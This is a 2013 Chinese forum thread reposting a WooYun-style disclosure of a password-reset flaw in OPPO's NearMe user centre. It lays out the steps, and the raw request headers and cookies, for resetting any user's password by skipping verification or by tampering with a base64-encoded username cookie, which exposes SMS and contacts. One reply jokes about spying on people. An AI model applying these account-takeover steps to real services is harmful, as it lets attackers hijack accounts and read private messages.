土豆 发表于 2013-12-25 19:23:34

OPPO手机同步密码随意修改，短信通讯录随意查看

本帖最后由 土豆 于 2013-12-25 19:27 编辑

我感觉本文很好。 学习了。

==========================================================================

使用密码找回功能，找到一个存在的用户。



然后提交找回申请，跳过选择找回方式。

直接访问 http://uc.nearme.com.cn/usercenter/resetPassword.do



输入新密码，提示修改成功

返回登录页登录



登录成功，随意查看信息，下面是两个账号的信息。








最后，文中作者又补充到。

其实不用按照上面的操作也可以直接修改密码。

Request URL:http://uc.nearme.com.cn/usercenter/resetPassword.do

Request Method:POST

Status Code:200 OK

Request Headersview source

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding:gzip,deflate,sdch

Accept-Language:en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4

Connection:keep-alive

Content-Length:34

Content-Type:application/x-www-form-urlencoded

Cookie:JSESSIONID=aaay1gJXnU7768sxcR6iu; OPPOSID=a65fb58f34304ac8a8223bf332274f46; NEARME_USERNAME_COOKIE=ZmluZHg5MDc%3D

Host:uc.nearme.com.cn

Origin:http://uc.nearme.com.cn

Referer:http://uc.nearme.com.cn/usercenter/resetPassword.do

User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36


直接设置NEARME_USERNAME_COOKIE的值提交，该值为base64_encode编码


本文转载自 noob@乌云


Petrel 发表于 2013-12-25 19:54:11

不错 原创 给力

土豆 发表于 2013-12-25 20:28:23

Petrel 发表于 2013-12-25 19:54 static/image/common/back.gif
不错 原创 给力

...非原创。 我转载的。。你。。。。

Petrel 发表于 2013-12-25 21:54:22

土豆 发表于 2013-12-25 20:28 static/image/common/back.gif
...非原创。 我转载的。。你。。。。

不好意思 我没看到 下面的

契约 发表于 2013-12-26 18:03:52

好吧，看看了 这个可以偷窥别人:D

love 发表于 2013-12-26 22:32:09

修复了吗？
页: [1]
查看完整版本: OPPO手机同步密码随意修改，短信通讯录随意查看